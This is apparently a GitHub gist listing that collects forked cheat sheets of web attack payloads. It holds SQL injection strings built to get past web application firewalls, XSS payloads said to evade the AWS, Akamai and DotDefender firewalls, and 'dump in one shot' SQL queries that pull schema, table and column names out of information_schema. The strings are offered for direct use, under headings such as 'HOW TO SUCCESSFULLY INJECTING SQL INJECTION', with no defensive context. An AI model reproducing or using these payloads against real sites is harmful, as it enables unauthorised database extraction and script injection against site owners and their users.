herlore’s gists

herlore / gist:6125d5a9986aa993f5ed7b3c40d5783a

Created June 11, 2022 03:44 — forked from tehseensagar/gist:d82931fa8427b3b8a8825714b5b113c4

SQLi WAF Bypass All Method

	`-=[SQL injection Queries]=-

	HOW TO SUCCESSFULLY INJECTING SQL INJECTION

	[~] after id no. like id=1 +/!and/+1=0 [~]
	EX: site.com?index.php?pageid=3 div+0 Union select 1,version(),3,4,5

	+div+0
	+div false
	+Having+1=0+

herlore / xss-bypass-waf

Created June 10, 2022 19:06 — forked from zetc0de/xss-bypass-waf

XSS Bypass WAF

	@vanshitmalhotra \| Bypass AWS WAF -//
	Add "<!" (without quotes) before your payload and bypass that WAF. :)
	eg: <!<script>confirm(1)</script>

	@black0x00mamba \| Bypass WAF Akamaighost & filtered onload, onclick, href, src, onerror, script, etc
	<img sr%00c=x o%00nerror=((pro%00mpt(1)))>

	DotDefender WAF bypass by @0xInfection
	<bleh/ondragstart=&Tab;parent&Tab;['open']&Tab;()%20draggable=True>dragme

herlore / dios-bypass-waf.txt

Created June 10, 2022 18:06 — forked from zetc0de/dios-bypass-waf.txt

DIOS (Dump In One Shoot) Collection bypass WAF

	DIOS (Dump In One Shot) Collection

	=======================================

	concat_ws('<br>','zet',database(),version(),user(),@@hostname,(select(group_concat('<br>',table_name,':',column_name))from(information_schema.columns)where(table_Schema=database())))

	(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.schemata)%20where%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,schema_name))))x)

	(select%20(@x)%20from%20(select%20(@x:=0x00),(select%20(0)%20from%20(information_schema.tables)%20where%20(table_schema=database())%20and%20(0x00)%20in%20(@x:=concat(@x,0x3c62723e,table_name))))x)

herlore / sqli-bypass-waf.txt

Created June 10, 2022 18:03 — forked from zetc0de/sqli-bypass-waf.txt

Bypass WAF Sql Injection

herlore / Bug Bounty methodology

Created May 29, 2022 19:43 — forked from setrus/Bug Bounty methodology